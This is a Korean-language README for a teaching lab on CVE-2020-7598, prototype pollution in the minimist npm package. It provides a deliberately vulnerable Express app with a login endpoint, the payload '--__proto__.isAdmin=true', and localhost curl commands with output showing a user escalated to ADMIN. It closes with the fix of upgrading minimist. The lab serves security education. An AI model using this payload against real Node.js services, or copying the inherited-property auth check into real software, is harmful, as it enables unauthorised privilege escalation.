
CVE-2020-7598 프로토타입 오염을 시연하는 교육용 랩으로, 취약한 Node.js/Express 앱, 익스플로잇 페이로드, 그리고 보안 연구를 위한 인증 우회 워크스루를 포함합니다.
이 프로젝트는 다음 용도로만 만들어졌습니다:
허가 없이 시스템에 사용하지 마십시오.
CVE-2020-7598은 npm 패키지의 프로토타입 오염(Prototype Pollution) 취약점입니다:
< 0.2.1>= 1.0.0 < 1.2.3이 취약점은 공격자가 다음을 수정할 수 있게 합니다:
Object.prototype
다음과 같은 페이로드를 통해:
--__proto__.isAdmin=true
결과적으로:
JavaScript에서:
const user = {};
빈 객체라도 다음으로부터 속성을 상속받습니다:
Object.prototype
공격자가 다음을 성공하면:
Object.prototype.isAdmin = true;
그러면:
({}).isAdmin
는 다음을 반환합니다:
true
모든 일반 객체에 대해.
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598
npm install
또는 수동:
npm install express [email protected]
파일 생성:
app.js
내용:
const express = require("express");
const minimist = require("minimist");
const app = express();
/*
Simulasi database user
*/
const users = [
{
username: "zen",
password: "123"
}
];
/*
Endpoint vulnerable
*/
app.get("/parse", (req, res) => {
/*
Ambil raw query
*/
const payload = req.query.payload;
/*
Ubah jadi array argument CLI
*/
const args = payload.split(" ");
console.log("ARGS:", args);
/*
Vulnerable parsing
*/
minimist(args);
console.log("GLOBAL isAdmin:", {}.isAdmin);
res.send("Arguments parsed");
});
/*
Login endpoint
*/
app.post("/login", express.json(), (req, res) => {
const { username, password } = req.body;
const user = users.find(
u =>
u.username === username &&
u.password === password
);
if(!user){
return res.json({
success: false
});
}
console.log("Own property:", user.hasOwnProperty("isAdmin"));
console.log("user.isAdmin:", user.isAdmin);
/*
Vulnerable auth logic
*/
if(user.isAdmin){
return res.json({
success: true,
role: "ADMIN"
});
}
res.json({
success: true,
role: "USER"
});
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
node app.js
출력:
Server running on port 3000
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
출력:
{
"success": true,
"role": "USER"
}
브라우저 열기:
http://localhost:3000/parse?payload=--__proto__.isAdmin=true
또는 curl 사용:
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"
서버 터미널:
GLOBAL isAdmin: true
의미:
Object.prototype.isAdmin = true
성공적으로 수정되었습니다.
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
출력:
{
"success": true,
"role": "ADMIN"
}
그런데:
isAdmin 속성을 가지고 있지 않음.다음 코드:
if(user.isAdmin)
는 객체의 직접 속성만 확인하는 것이 아닙니다.
JavaScript는 다음 순서로 찾습니다:
공격자가 다음을 성공적으로 수정했기 때문에:
Object.prototype.isAdmin = true
모든 일반 객체가 해당 속성을 상속받습니다.
서버 로그:
Own property: false
user.isAdmin: true
의미:
isAdmin은 사용자의 고유 속성이 아님,안전한 minimist 버전:
npm install minimist@latest
패치된 버전은 다음을 차단합니다:
__proto__constructorprototype따라서 프로토타입 오염이 더 이상 성공하지 않습니다.
이 실습과 문서는 Node.js 애플리케이션 보안 학습 및 프로토타입 오염 연구를 위해 만들어졌습니다.